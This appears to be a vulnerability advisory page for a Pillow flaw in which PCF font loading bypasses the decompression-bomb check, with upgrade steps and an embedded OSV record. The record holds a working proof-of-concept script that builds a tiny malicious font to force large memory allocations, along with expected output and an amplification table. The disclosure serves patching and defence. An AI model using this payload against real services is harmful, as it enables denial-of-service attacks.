CVE-2026-54059: Pillow `Image.frombytes()` Called Without `_decompression_bomb_check()` — Vulnerability
HIGHCVE-2026-54059 is a HIGH (CVSS 7.5) `image.frombytes()` called without `_decompression_bomb_check()` — vulnerability (CWE-789: Memory Allocation with Excessive Size Value) affecting Pillow libraries in the PyPI ecosystem. The issue involves `image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via pcf font loading. Remediation is available by upgrading affected packages to version 12.3.0.
CVE-2026-54059 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-54059
To remediate this vulnerability, upgrade all affected Pillow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install pillow>=12.3.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pillow
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54059, inspect your installed packages using pip:
pip show pillow
Analyze the terminal output to locate any version of Pillow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.0), your application is affected.
Note: The pip show pillow command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-789: Memory Allocation with Excessive Size Value, where the product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. In Pillow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54059 Affected Pillow Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pillow
|
PyPI |
< 12.3.0
|
12.3.0
|
References
Frequently Asked Questions
What is CVE-2026-54059?
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What version fixes CVE-2026-54059?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8v84-f9pq-wr9x",
"modified" : "2026-07-20T21:08:27Z",
"published" : "2026-07-20T21:08:27Z",
"aliases" : [ "CVE-2026-54059" ],
"summary" : "Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading",
"details" : "## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left (max: 65535 − 0 = 65535)\nysize = ascent + descent (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** — **48× the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224–227):**\n```python\nfor i in range(nbitmaps):\n xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled\n b, e = offsets[i : i + 2]\n bitmaps.append(\n Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n # ↑ NO _decompression_bomb_check()!\n )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data → `frombytes()` succeeds → image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` → buffer freed → but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC = 0x70636601\nPCF_PROPS = 1 << 0\nPCF_METRICS = 1 << 2\nPCF_BITMAPS = 1 << 3\nPCF_ENCODINGS= 1 << 5\n\ndef build_bomb_pcf(xsize, ysize):\n # Properties: empty\n props = struct.pack(\"<III\", 0, 0, 0)\n\n # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent\n metrics = struct.pack(\"<II\", 0, 1)\n metrics += struct.pack(\"<HHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n # Bitmaps: 1 glyph, empty data (transient attack)\n bitmaps = struct.pack(\"<II\", 0, 1)\n bitmaps += struct.pack(\"<I\", 0) # offset[0] = 0\n bitmaps += struct.pack(\"<IIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n # Encodings: char 0x41 ('A') → glyph 0\n enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n encodings = struct.pack(\"<IHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n encodings += struct.pack(\"<\" + \"H\"*128, *enc_offsets)\n\n secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n hdr_size = 4 + 4 + len(secs) * 16\n out = struct.pack(\"<II\", PCF_MAGIC, len(secs))\n offset = hdr_size\n for stype, sdata in secs:\n out += struct.pack(\"<IIII\", stype, 0, len(sdata), offset)\n offset += len(sdata)\n for _, sdata in secs:\n out += sdata\n return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n font = PcfFontFile(io.BytesIO(pcf))\n _, peak = tracemalloc.get_traced_memory()\n tracemalloc.stop()\n print(f\"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n _, peak = tracemalloc.get_traced_memory()\n tracemalloc.stop()\n print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n print(f\" Heap peak: {peak/1024**2:.2f} MB\")\n print(f\" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size : 148 bytes\n[*] Glyph size : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target : 23 MB (mode '1' = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode '1') | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pillow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "12.3.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54059"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/python-pillow/Pillow"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-789" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-20T21:08:27Z",
"nvd_published_at" : "2026-07-06T19:17:08Z"
}
}